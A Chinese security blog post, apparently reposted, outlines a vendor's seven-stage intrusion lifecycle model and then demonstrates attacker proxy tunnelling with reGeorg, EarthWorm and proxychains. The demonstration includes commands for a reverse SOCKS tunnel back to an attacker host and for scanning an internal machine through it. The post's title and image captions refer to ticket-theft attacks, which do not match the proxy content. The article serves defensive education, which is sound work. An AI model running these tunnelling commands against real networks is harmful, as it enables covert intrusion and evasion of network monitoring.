美创科技为了更好地进行入侵检测和防御，参照各种安全威胁框架和自身的实践与思考，提出了基于入侵生命周期的攻击管理模型，作为美创新一代安全架构的三大支柱之一。
入侵生命周期v1.0把入侵过程划分为7个阶段：探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库，匹配到不同的入侵阶段。需要注意的是，并非所有的入侵都会经历这7个阶段，也没有绝对的线性次序。
在这个阶段中，攻击者会先锁定攻击对象，然后利用某些技术手段，尽可能多地获取目标暴露出来的信息，如通过端口扫描、指纹探测等方式，发现敏感端口及版本信息，进而寻找攻击点，为下一步入侵做准备。
在这个阶段，攻击者会根据“探索发现”阶段所发现的重要信息，来对目标暴露出的攻击面进行攻击尝试，在“探索发现”阶段收集到的信息越多，攻击对象所暴露的攻击面也就越多，攻击更易成功。
攻击者在成功进入系统内部后，由于是首次进入所以会出现对内部环境不熟悉的情况，这时攻击者的动作一般会是对当前所处环境进行探索，摸清内部大致的网络结构，常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描，后续根据攻击者的目的进行下一步操作。
在此阶段，攻击者根据上一阶段在内网探索感知收集到的信息，选择特定的攻击手法。如若发现内部是域环境，攻击者可能会尝试先攻破域控服务器，再传播其他机器。若是工作组环境，可能会利用收集到的端口和服务信息，选择特定漏洞进行批量扫描攻击，来尽可能多地继续获得其他计算机的控制权。
攻击者在对资产进行恶意操作后，为了能够减少再次连接的攻击成本，方便下次进入，会进行“留后门”的操作，常见的后门如：建立计划任务，定时连接远程服务器；设置开机启动程序，在每次开机时触发执行特定恶意程序；新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。
攻击者在此阶段便会开始对目标资产进行恶意操作，按照攻击者意愿，对能利用的数据进行窃取、利用；对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。
攻击者在执行所有的攻击操作时，往往会在系统上留下大量的行为日志，因此在这一阶段，攻击者会对记录自身痕迹的所有日志进行处理，或删除或混淆，从而消灭证据，逃避追踪。
本系列文章基于美创科技入侵生命周期1.0架构，细分各阶段攻击者的常用攻击手段，并对相关攻击手段的具体实施方式进行逐一剖析，为安全防御建设提供有力知识补充和反制准备。
攻击者可以使用连接代理来引导系统之间的网络流量，或者充当与命令和控制服务器进行网络通信的中介，以避免直接连接到其基础结构。存在许多启用代理或端口重定向的流量重定向的工具，包括HTRAN，ZXProxy和ZXPortMap。攻击者使用这些类型的代理来管理命令和控制通信，减少同时出站网络连接的数量，在连接断开时提供弹性或在受害者之间越过现有的受信任通信路径以避免怀疑。对手可能会将多个代理链接在一起，以进一步掩盖恶意流量的来源。对手还可以利用内容分发网络（CDN）中的路由方案来代理命令和控制流量。
在搭建恶意软件代理的行为中，涉及到的输入输出如下：
输入：被攻破的机器IP、端口、想执行的命令、代理工具
输出：命令执行成功后的结果
目前，利用代理手段进行网络流量的中继，具有很多种方式，这里我用两种方式演示下相关代理流程
1. regreorgSocksProxy结合proxychains来演示流量代理的过程
将regeorg代理脚本传至被代理服务器，根据脚本类型选择php,jsp,asp等，上传完成之后，访问
运行python程序
Python reGeorgSocksProxy.py -p 9999 -u http:
![《入侵生命周期细分实践指南系列》：票据窃取攻击]( "《入侵生命周期细分实践指南系列》：票据窃取攻击")
即将本地的9999端口流量通过regeory代理到内网
一般配置文件在/etc/proxychains.conf
socks5 127.0.0.1 9999 最后添加该代理配置
执行代理
2. earthworm 结合proxychains进行正向代理
被代理机器(192.168.160.251)开启监听
ew_for_win.exe -s ssocksd -l 1234
socks5 192.168.160.251 1234
proxychains5 nmap 10.10.10.10 -p 445
3. earthworm 结合proxychains进行反向代理
ew_for_MacOSX64 -s rcsocks -l 1234 -e 4399
开启监听，并将进入4399端口的流量转发到1234
ew_for_Win.exe -s rssocks -d 192.168.97.208 -e 4399
Proxychains进行nmap扫描
![《入侵生命周期细分实践指南系列》：票据窃取攻击]( "《入侵生命周期细分实践指南系列》：票据窃取攻击")
![《入侵生命周期细分实践指南系列》：票据窃取攻击]( "《入侵生命周期细分实践指南系列》：票据窃取攻击")
![《入侵生命周期细分实践指南系列》：票据窃取攻击]( "《入侵生命周期细分实践指南系列》：票据窃取攻击")
原文始发于微信公众号（第59号）：《入侵生命周期细分实践指南系列》：票据窃取攻击
评论